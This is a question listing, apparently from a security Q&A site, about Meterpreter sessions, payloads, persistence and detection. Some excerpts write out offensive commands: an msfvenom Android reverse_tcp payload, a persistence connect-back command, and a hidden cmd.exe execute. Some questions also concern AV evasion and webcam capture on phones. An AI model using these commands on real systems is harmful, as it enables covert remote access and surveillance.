Questions tagged [meterpreter]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
2
votes
1answer
470 views

Is it possible to have full LAN access through a meterpreter session? e.g. for a MITM attack

Is it possible to perform a MITM Attack through a compromised Windows Machine in a internal LAN? How would be the attacker's scenario? How to do this?
0
votes
1answer
641 views

How to find external ip address a payload uses to connect back to the attacker?

I find myself targeted with a malicious .apk file. I am provided with some malicious files disguised as a genuine .apk. I used apktool to decompile the file and collect some information about the ...
3
votes
1answer
2k views

How does 32 bit Meterpreter migrate into 64 bit process?

If you have an 32bit Meterpreter running on a 64 bit remote system you can migrate into 64 bit processes. This isn't anything new and has been used by malware for ages but the thing that makes me ...
-1
votes
1answer
192 views

Penetration testing of windows ( Corporate systems )

So I am part of the team where in we have to conduct a penetration testing assignment for our client. Basically what he wants from us is to show how we can get into their system with the help of ...
3
votes
2answers
3k views

Meterpreter HTTPS detected by IPS

I am busy with security testing on a clients network and was asked to show how "easy" AV evasion is. I created a nice powershell reverse HTTPS file through veil-evasion, which is not detected by the ...
1
vote
1answer
2k views

Metasploit reverse shell through docker and virtual box

I am running metasploit on docker from: remnux/metasploit and I want to open a reverse shell on a virtual machine running windows 10 in virtual box. The docker container and the vm run on the same ...
1
vote
1answer
2k views

Manually migrate to another process without using metasploit? [duplicate]

There is a useful meterpreter script that allows to migrate meterpreter to another process by specifying its PID. Imagine I have my own session running. How could I migrate to another process without ...
6
votes
2answers
826 views

Can we decrypt captured malware (Meterpreter) HTTPS/SSL traffic with the keys from memory?

A machine on our network was compromised with Meterpreter. We have traffic captures from the entire period of the compromise and a memory dump of the infected machine at a time when the connection ...
3
votes
1answer
619 views

Meterpreter SSL error after sleep

While heavily using metasploit on pentests, I start using sleep meterpreter command. I understand that this is not a persistence method, but sometimes it's very convenient. Sadly, when sessions ...
0
votes
2answers
873 views

Msfvenom meterpreter android architectures

Is there any android architecture I can set my meterpreter reverse_http payload to that works on every android phone? Basically, when I don't set any architecture it defaults to dalvik but that ...
-1
votes
1answer
493 views

Meterpreter reverse http Timeout settings

When setting the timeouts for the reverse connection do I need to set them when creating the payload in msfvenom or just set them in the listener?
0
votes
1answer
854 views

Android meterpreter invalid session

Every time I use a meterpreter reverse https on an android phone over the internet, a session is created but after some seconds it says the session is not valid and it closes. When I do it on the LAN ...
-1
votes
2answers
293 views

Meterpreter reverse_https website

When I make a a meterpreter connection with reverse https how do I change the website that appears when someone types my ip and LURI to the browser?
0
votes
1answer
329 views

Meterpreter Webcam_snap warnings [closed]

Since I updated metasploit every time I run the webcam_snap command in meterpreter in recieve lots of warnings like the ones below, why do they appear? Gtk-WARNING **: Theme parsing error: gtk-...
1
vote
1answer
152 views

Meterpreter connections

If i setup a meterpreter reverse_https payload and send to multiple targets and they execute the payload whithout my handler running, when I setup the handler will they connect or do I have to have ...
1
vote
1answer
573 views

Meterpreter detach command

In a meterpreter reverse_https session when I use the detach command it closes my current session and then creates another, what it is the purpose of this?
0
votes
2answers
2k views

Meterpreter reverse_https ExitOnSession

When I'm setting the options for the reverse_https handler in metasploit why would I set ExitOnSession to false and SessionCommunicationTimeout to 0. I don't fully understand the purpose. When I used ...
-1
votes
3answers
898 views

How to edit and save a file from MS-DOS under meterpreter?

Once I have a meterpreter shell on the machine, I opened a MS-DOS prompt with this command: execute -f cmd.exe -i -H Then, I would like to edit a file with edit file_name, but I don't know how to ...
0
votes
1answer
3k views

Error when using metasploit mimikatz module

I'm working on dumping plaintext passwords from a compromised machine (it's my computer, research, blah blah blah) Anyways, I'm getting a weird error when running the metasploit module in a ...
1
vote
0answers
340 views

Metasploit to connect to a target behind NAT

During a pentest and I experienced a weird problem with connecting to the target machine which is behind a NAT network the scenario is basically, they have a public ip : 1.1.1.1 and there are ...
1
vote
0answers
854 views

Metasploit payloads with VPN or proxies?

I have purchased VPN with torguard and asked them to forward ports. I run a test on the VPN IP and ports specified, and says ports closed, but they say otherwise in interface. Anyway I create a ...
0
votes
1answer
469 views

How can I open a meterpreter shell on the target server after redirecting the target server to my own web server hosting the payload?

Alright, so here is what I did to a vulnhub machine after I found a XSS vulnerability in it. Generated a reverse_tcp php payload and kept it within my web server. Navigated to my web server's payload ...
1
vote
1answer
2k views

Stdapi commands not showing in meterpreter session

I created a android payload with public IP (android/meterpreter/reverse_https). The stdapi commands(ls,cd,webcam_snap etc) are showing when the victim is in the same network. But when I try to ...
-2
votes
1answer
790 views

meterpreter commands after session created

After creating a session with an Android device by meterpreter, I need commands to control the target android device, like taking pictures with the camera. How can I search for these types of ...
-1
votes
1answer
421 views

How to connect reverse_tcp with my remote server(not in the same machine where i have metasploit)?

This is my question: How to connect reverse_tcp meterpreter with my remote server(NOT in the same machine where i have installed metasploit)? It's possible? I need this because i haven't a public ip ...
2
votes
3answers
3k views

(Solved) Meterpreter over ASPX webshell

I am a beginner and have just started working on pentesting engagements. I have a case where I have a victim IIS server (without PHP support) where I have aspx based web shell (https://github.com/...
5
votes
2answers
4k views

Snort rules to detect Meterpreter sessions

I am learning while configuring Snort, my setup consists in an attacker (Linux), a victim (Android smartphone) and one detection system (IDS). So far, I have been able to log all the packets between ...
0
votes
2answers
510 views

How to use standalone meterpreter exe with a USB key connected to an unlocked victim session

When I need to make a POC about why it is dangerous to let the session unlocked, I used to put a mimikatz on an USB key and get the logon credentials in clear text. But sometimes the client has no ...
1
vote
0answers
817 views

web view addjavascriptinterface exploit

I have been banging my head around this for almost 56 hours now (+/- a few that I took out to have a couple of naps and RedBulls) and have not been able to get anywhere with it so far. I am trying ...
1
vote
3answers
4k views

Powershell scripts inside meterpreter sessions

I have aquestion i tried to answer myself without much success. I love all the powershell script provided for post exploitation purposes -> Powersploit; Nishang etc... My only problem is that i can't ...
1
vote
2answers
327 views

Is it possible to execute metasploit exploits from Meterpreter?

I have an attack scenario, first I send a malicious pdf to my victim, then I have a reverse tcp shell (Meterpreter session) on his computer then I want to exploit a samba server (which is already ...
1
vote
0answers
751 views

Attaching orphaned/stageless session meterpreter

I have problems with meterpreter reverse_https. In my engagement, I saw this message in console; "Attaching orphaned/stageless session meterpreter" But after I lose connection, and victim connects ...
1
vote
0answers
525 views

Android not connected to kali linux with meterpreter in metasploit

I keep running into an error. I create an apk: msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 R > test.apk In the console, I configure the multi/handler: set PAYLOAD ...
3
votes
1answer
730 views

How does metasploit persistence work?

When we remote exploit a target with meterpreter, we can use the command run persistence -U -i 10 -p 12345 -r 192.168.1.1 to make a persistent program that will try to connect to the machine which IP ...
5
votes
2answers
9k views

Meterpreter session over VPN

I have the following situation: Attacker machine connected to a router with public IP assigned from ISP, forwarding enabled. Victim machine connected to another router, (obviously) different IP ...
3
votes
1answer
389 views

MITMf which files can it patch

From this tutorial i found that it is possible using tool MITMf to patch exe files ''victim'' downloads in order to open a meterpreter shell. The commands that have been used are the following: use ...
1
vote
0answers
108 views

Metasploit Plugin not interacting with Meterpreter Client

I'm developing a plugin to automate some post exploitation tasks. Two days ago all methods that interact with the client (from the client_core and stdapi) simply don't return anything, like if in a ...
1
vote
1answer
15k views

ms08_067_netapi not performing as expected on Windows XP SP1/SP3

I tried the exploit with meterpreter reverse tcp on both SP1/SP3 machines and both returned a statement of exploit completed but no session was created. Both machines have firewall off. I want to have ...
2
votes
1answer
562 views

Can I use a domain name instead of an IP for msf persistence?

After getting a shell (meterpreter) on the victim, the first thing to do is to migrate and get the system, and then you would install a persistence to connect back to you. But the problem is the ...
3
votes
1answer
1k views

Upgrade shell to meterpreter behind NAT

I've been playing around with Metasploit the past week, and am successfully able to obtain a basic shell of the victim over the internet. I've currently: Created a DDNS that points to my public IP ...
1
vote
0answers
388 views

Metasploit payload problem [closed]

Recently I tested a shell vector payload. A text file converted to .bat, which is both theoretically and practically 100% undetectable by antivirus. First I tested it on my host computer for Kali ...
1
vote
1answer
167 views

Looking for a Meterpreter binary for android

I tried meterpreter for android. The apk that is generated by metasploit by giving remote host ip & port and then run on target phone. I found it as a handy tool to access my phone remotely. I ...
16
votes
2answers
14k views

How does process migration work in Meterpreter [closed]

Did anyone try to figure out how process migration works in Meterpreter in Windows? I want to make my own script to learn that, but am failing to find a starting point for that. Well, I have an idea ...
1
vote
0answers
1k views

How does Metasploit's payload work with a remote target?

I have some simple questions. I often use Metasploit in my pentest engagements. It works fine when I'm inside a local network. Okay, we know that, when the payload is injected properly, it will give ...
1
vote
0answers
1k views

Meterpreter:execute command failed [closed]

When run execute -f cmd.exe -i -H, Meterpreter gave me an error: [-] stdapi_sys_process_execute: Operation failed: 1 What is causing this, and how to resolve it?
1
vote
1answer
17k views

How do you send a 64 bit meterpreter stager? [closed]

All the stagers that are sent seem to be 32 bit. This is fine, until I have to run Mimikatz which on a 64 bit system you NEED to run the 64 bit mimikatz. Since the 64 bit Mimikatz won't run on the 32 ...
3
votes
1answer
3k views

Meterpreter on non-jailbroken Iphone [closed]

I found this at github: https://github.com/AnwarMohamed/meterpreter-darwin Does anybody know if this works on a non-jailbroken Iphone? I downloaded it on my and double-clicked on the Makefile-icon, ...
0
votes
1answer
5k views

How to set correctly set Local Host on a payload for a user outside subnet?

I'm training with labs and metasploit and there's some payloads I can send to my target and exploit it(in my subnet). If I have to exploit a payload I sent to a target outside my network which options ...
3
votes
1answer
759 views

What causes a powershell payload to run the first time but not the second?

I created a windows/meterpreter/reverse_https powershell payload using the python script provided at the end of this article. In the first run, the meterpreter session opened successfully, when I ...
2
votes
3answers
1k views

Documentation on Meterpreter Shells

I've been looking for some decent documentation on Meterpreter shells, but I can't seem to find anything useful. I would like to know when to use what kind of shell for a certain situation. All I ...